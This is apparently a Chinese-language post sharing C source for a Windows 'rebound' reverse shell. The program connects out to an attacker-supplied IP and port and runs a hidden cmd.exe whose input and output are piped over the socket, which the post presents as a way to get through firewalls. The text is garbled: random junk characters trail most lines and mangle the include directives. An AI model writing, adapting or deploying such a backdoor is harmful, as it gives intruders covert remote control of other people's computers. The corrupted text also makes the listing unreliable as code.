这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;?q>F3n
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/* ============================== NZ|(#` X
Rebound port in Windows NT bXiOf#:''
By wind,2006/7 k}0Y&cT!rU
===============================*/ ?W27
h
#include Ad:}i9-x
#include Y&![2o.Q
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#pragma comment(lib,"wsock32.lib") B(eC|:w[z
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void OutputShell(); ;2&ym)`
SOCKET sClient; VZhHO
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d~|/LR5
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void main(int argc,char **argv) ?q*,,+'0
{ PLV-De
WSADATA stWsaData; ]ChGi[B~9
int nRet; ]%Db %A
SOCKADDR_IN stSaiClient,stSaiServer; :`Z'vRj
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if(argc != 3) ='[J.
{ lTR/o
printf("Useage:\n\rRebound DestIP DestPort\n"); tCVaRP8eC+
return; 0etJ, _">
} eI^Q!b8n
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WSAStartup(MAKEWORD(2,2),&stWsaData); %v"qFYVX"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3}F{a8iIm
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stSaiClient.sin_family = AF_INET; xY=%+o.?*
stSaiClient.sin_port = htons(0); iVUkM3
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f|r+qe
{ 4nz$Ja)
printf("Bind Socket Failed!\n"); {F'~1qf
return; 1y{@fg~..
} R'z
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stSaiServer.sin_family = AF_INET; K^yZfpa8
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bCSgdK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 5*#3v:l/9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4iPxtVT
{ -Uo"!o>x|
printf("Connect Error!");
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return; 37U2Tb!y'
} qt.Y6s:r_
OutputShell(); gP^p7aYwn
} D8O&`!mf
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void OutputShell() *[ww;
{ ~USU\dni
char szBuff[1024]; \Um &
SECURITY_ATTRIBUTES stSecurityAttributes; O={
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OSVERSIONINFO stOsversionInfo; GEGg
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FWb`F&
STARTUPINFO stStartupInfo; P.>5`^
char *szShell; },& =r= B
PROCESS_INFORMATION stProcessInformation; B s {n
unsigned long lBytesRead; Be4n\c.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x 3C^ S~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V.?Oly
stSecurityAttributes.lpSecurityDescriptor = 0; m`lxQik
stSecurityAttributes.bInheritHandle = TRUE; &f"kWOe$X
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); CW .
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 79y'PFSms
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uupfL>h
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wQR0R~|M
stStartupInfo.wShowWindow = SW_HIDE; #*v:.0%
stStartupInfo.hStdInput = hReadPipe; [7+dZL[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SQhw |QdG
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GetVersionEx(&stOsversionInfo); Eq82?+9
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switch(stOsversionInfo.dwPlatformId) Y5XhV;16
{ '"4S3Fysm
case 1: SJd,l,Gg)
szShell = "command.com"; i4g99Kvl
break; XT<{J8
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default: s4kkzTnXE3
szShell = "cmd.exe"; y7LT;`A
break; Rct=vDU
} zjlo3=FQX[
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); c)Ep<W<r1
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send(sClient,szMsg,77,0); d~za%2{
while(1) Yd>ej1<
{ m{VC1BkZ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iL\eMa
if(lBytesRead) O<}KrmUC~
{ OO /Pc
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); /2jw]ekQ'
send(sClient,szBuff,lBytesRead,0); r_EuLFM A
} \NTNB9>CO
else fo$Ac
{ bPhb d
lBytesRead=recv(sClient,szBuff,1024,0); fd&=\~1_$
if(lBytesRead<=0) break; ?T\_"G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xZ.c@u6:
} Au[H!J
} c.JMeh
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return; P+s-{vv{0
}